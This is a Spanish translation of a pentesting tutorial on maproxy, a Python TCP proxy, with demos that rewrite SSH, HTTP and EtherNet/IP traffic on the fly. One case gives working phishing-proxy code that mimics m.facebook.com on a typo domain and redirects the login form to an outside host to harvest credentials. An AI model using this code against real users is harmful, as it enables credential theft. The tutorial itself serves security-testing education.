Procesamiento de datos de red sobre la marcha

Se preparó una traducción del artículo antes del comienzo del Pentest. Práctica de prueba de penetración " .





anotación


Una variedad de tipos de evaluación de seguridad, desde pruebas de penetración regulares y operaciones del Equipo Rojo hasta piratería de dispositivos IoT / ICS y SCADA, significa trabajar con protocolos de red binarios, es decir, interceptar y modificar datos de red entre el cliente y el objetivo. Oler el tráfico de la red no es una tarea difícil, ya que tenemos herramientas como Wireshark, Tcpdump o Scapy, pero la modificación parece llevar más tiempo, porque necesitaremos una interfaz única para leer los datos de la red, filtrarlos, cambiarlos sobre la marcha y enviarlos de vuelta. al host de destino en tiempo casi real. Además, sería ideal si dicha herramienta pudiera funcionar automáticamente con varias conexiones paralelas y tuviera la capacidad de personalizarse utilizando scripts.

Una vez que descubrí una herramienta llamada maproxy, la documentación me lo hizo saber rápidamente maproxy, justo lo que necesitaba. Este es un proxy TCP bastante simple, versátil y fácil de configurar. Probé esta herramienta en varias aplicaciones bastante complejas, incluidos los dispositivos ICS (que generan muchos paquetes) para averiguar si puede funcionar con muchas conexiones paralelas, y la herramienta funcionó bien.

Este artículo le presentará el procesamiento de datos de red sobre la marcha maproxy.

Visión general


La herramienta se maproxybasa en Tornado, un marco de red asincrónico de Python popular y bien desarrollado.

En general, puede funcionar en varios modos:

  • TCP:TCP - conexiones TCP sin cifrar;
  • TCP:SSLy SSL:TCP- con cifrado unidireccional;
  • SSL:SSL - cifrado bidireccional.

Viene como una biblioteca. Para un inicio rápido, puede usar archivos de muestra que reflejen las funciones principales de la biblioteca :

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Caso 1 - Proxy bidireccional simple


Basado en tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Por defecto, ProxyServer()toma dos argumentos: la ubicación de la conexión y el puerto de destino. server.listen()toma un argumento: el puerto para escuchar la conexión entrante.

Ejecución de script:

# python tcp2tcp.py

Para realizar la prueba, vamos a conectarnos al servidor SSH local a través de nuestro script proxy, que escucha en el 2222/tcppuerto y se conecta al puerto del 22/tcpservidor SSH estándar :



un banner de bienvenida nos informa que nuestro script de muestra representa con éxito el tráfico de red.

Caso 2 - modificación de datos


Otro script de demostración es logging_proxy.pyideal para interactuar con los datos de la red. Los comentarios en el archivo describen los métodos de clase que puede modificar para lograr su objetivo:



Los más interesantes aquí:

  • on_c2p_done_read - para interceptar datos en el camino desde el cliente al servidor;
  • on_p2s_done_read - invertido.

Intentemos cambiar el banner SSH que el servidor devuelve al cliente:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Ejecute el script:



Como puede ver, el cliente se equivocó, porque para ello se cambió el nombre del servidor SSH «DumnySSH».



Caso 3 - Página web de phishing simple


Hay un número infinito de usos para esta herramienta. Esta vez, centrémonos en algo más práctico del área de operaciones del Equipo Rojo. Imitemos el aterrizaje m.facebook.comy usemos un dominio personalizado con un error tipográfico intencional, por ejemplo m.facebok.com. Para fines de demostración, simplemente asuma que el dominio está registrado por nosotros.

Vamos a establecer una conexión de red sin cifrar con el proxy de nuestras víctimas y SSL Stream para el servidor de Facebook ( 31.13.81.36). Para que este ejemplo funcione, debemos reemplazar el encabezado del host HTTP e implementar el nombre de host correcto, y también deshabilitaremos la compresión de respuesta para obtener un acceso fácil a sus contenidos. Al final, reemplazaremos el formulario HTML para que nos envíen las credenciales de inicio de sesión, en lugar de los servidores de Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action=\"/login/", "action=\"https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Al final:



como puede ver, pudimos reemplazar con éxito el sitio original.

Caso 4 - Puerto Ethernet / IP


He estado trabajando con dispositivos y software industriales (ICS / SCADA) durante bastante tiempo, como controladores programables (PLC), módulos de E / S, unidades, relés, entornos de programación en escalera y mucho más. Este caso es para quienes gustan de las cosas industriales. Hackear tales soluciones implica un juego activo con protocolos de red. En el siguiente ejemplo, me gustaría mostrar cómo puede modificar el tráfico de red ICS / SCADA.

Para hacer esto, necesitará lo siguiente:

  • Sniffer de red, por ejemplo, Wireshark;
  • Ethernet / IP o simplemente un dispositivo SIP, puede encontrarlo utilizando el servicio Shodan;
  • Nuestro guión basado maproxy.

Para comenzar, veamos cómo se ve una respuesta típica de CIP (Protocolo industrial común): la



identificación del dispositivo se realiza mediante Ethernet / IP, que es una versión extendida de Ethernet para aplicaciones industriales, envuelve protocolos de control como CIP. Vamos a cambiar el nombre de identificación resaltado, que se puede ver en la captura de pantalla de "NI-IndComm for Ethernet" utilizando nuestro script proxy. Podríamos reutilizar el script logging_proxy.pyy modificar de manera similar el método de la clase on_p2s_done_read, ya que queremos que un nombre de identificación diferente sea visible en el cliente.

El código:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'\x0c\x00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

De hecho, solicitamos la identificación del dispositivo dos veces, la segunda respuesta es la original y la primera se modificó sobre la marcha.

Y el último


En mi opinión, una maproxyherramienta conveniente y simple que también está escrita en Python, por lo que creo que también puede beneficiarse de su uso. Por supuesto, existen herramientas más sofisticadas para procesar y cambiar datos de red, pero también requieren más atención y generalmente se crean para un caso de uso específico, por ejemplo, Muraena , Modlishka o evilginx para casos similares al tercero, o canapé para el último caso. De una forma u otra, con ayuda maproxypuede realizar rápidamente sus ideas para interceptar datos de red, ya que los ejemplos de script son muy claros.



Prueba de mecanismos de autenticación en Windows AD



All Articles